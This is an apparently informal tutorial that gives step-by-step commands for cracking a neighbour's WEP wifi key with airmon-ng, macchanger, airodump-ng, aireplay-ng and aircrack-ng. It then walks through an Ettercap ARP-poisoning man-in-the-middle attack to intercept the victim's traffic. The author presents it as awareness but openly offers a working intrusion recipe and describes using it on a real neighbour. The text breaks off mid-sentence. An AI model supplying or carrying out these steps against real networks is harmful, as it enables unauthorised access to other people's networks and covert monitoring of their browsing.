The sole purpose of this article is so that you may be informed about how your neighbor may be able to take a laptop, crack your wep/wpa key to your router you think is safe, then reroute all your internet traffic to his computer you think he cant look at, and even watch you browse the internet in real time when you think nobody is watching.

I dont plan on hinting towards howto break into a wifi network, I will show you how to break into a wifi network. I will do it simplesteps, and only break them down if I feel that you will need it or can benefit from knowing it.The following subjects I will touch on include the following: 1. Brief Introduction to Backtrack 2. Cracking the WEP Key (we will go over WEP cracking, I may write another one on WPA a bit later...) 3. MITM Attack 4. Basic Network Analysis -Brief Introduction to Backtrack- Backtrack is something that is essential, in my opinion, to be in any hackers toolbox. Itis a live-linux cd that is compatible with most laptops (Just for reference sake, I am using myEee PC with an external DVDRom drive to boot it). All you have to do is go to www.remote-exploit.org and download the ISO that fits what you would like to use it on (CD, DVD, orUSB/SD). Once you do that, you will need to to stick the CD/DVD/USB/SD into your laptop,and restart. When you restart, you must hit whatever key you need to do load the bootoptions, for most computers its F8 or F9, for mine, its the ESC key. Once you boot into it, youwill have to go through a few menus, basically all you have to do is keep hitting enter until theKDE loads. When the boot is finished, you should see a screen similar to this: -Cracking the WEP Key-Note: For reference, since not all parameters are the same for each laptop, I have put them as variables ($) where you plug in what is necessary for you. 1. Open a new shell prompt: 1. Type airmon-ng to see what interfaces are available. As you can see I have 2 interfaces, wifi0 and ath0, but wifi0 is the parent of ath0, so this will be a bit tricky. Most laptops only have one interface. 2. Type airmon-ng stop ath0 to stop the ath0 interface 3. Type airmon-ng start wifi0 so it puts ath0 into monitor mode4. Type clear to clear the screen then type ifconfig ath0 down5. Now we need to change the MAC address, to do this type macchanger –mac 00:11:22:33:44:55 ath06. Now we need to turn our interfaces back on by typing airmon-ng start wifi07. Now we get down to the meat and bones, we can start scanning for networks by typing in airodump-ng ath08. If you already know the ESSID of the network you would like to crack the WEP key for, go right ahead and crack it, but because I am doing this on a neighbor, I took a guess that it was the one with the highest PWR. Which is linksys---- (blocked out for security purposes)9. Now we are going to single that network out by typing in the following: airodump-ng -c $CHANNEL -w wepcrack –bssid $BSSID ath011. Now our goal is to get the #Data field to reach around 10,000 (just to be safe) so we have to provoke the data by first associating ourselves with the network. Do this by typing aireplay-ng -1 0 -a $BSSID -h 00:11:22:33:44:55 -e $ESSID ath0 i dont think I would need to break this down for you, to do this, I am sure you can just look at what I did for each of the variables and plug in your own.12. Now that were associated, we can start sending packets back to the network, therfore increasing the amount in the #Data field. We do this by typing in aireplay-ng -3 -b $BSSID -h 00:11:22:33:44:55 ath013. Once you think the #Data has climbbed to a decent amount, open a new shell prompt and type the following: aircrack-ng -n 64 -b $BSSID wepcrack-01.cap Congratulations! We just cracked our first WEP key. Now what I am going to do isrestart my laptop and boot into my regular OS and connect to the network now that I have theWEP key. -MITM Attack- In order to intercept their packets, we will need to find some way to take all theirinternet traffic, forward it to our laptop, then to the internet. How do we do this? Yup, a MITMattack. Here is a simple picture to demonstrate: So now you may be asking, how do I do this!? Ettercap is the answer, if your doing thison a Windows machine, your going to have to google it to install it, but if your on *nix, you candownload and install it simply by typing sudo apt-get install ettercap Once it is done, we can open the GUI for it by typing sudo ettercap -G into the shell.1. Go to Sniff > Unified Sniffing and then choose your interface, mine, of course, is ath02. From there go to Hosts > Sccan for Hosts3. Now we need to see what hosts are up, do this by going to Hosts > Host List4. Now, since it is common sense that usually the *.*.*.1 IP is the router, we are going to highlight that, and click Add to Target 1, and since I dont know what all the other IPs go to, I will highlight all the other IPs and click Add to Target 25. Go to MITM > arp poisoning and press ok, dont check any of the boxes.6. Now go to Start > Sniffer7. Minimize ettercap -Basic Network Analysis- Finally, we can now start analyzing traffic from their network, this does take a lot ofpatience and luck though, because they have to be using the internet at the exact time thatyou are connected to their n ...
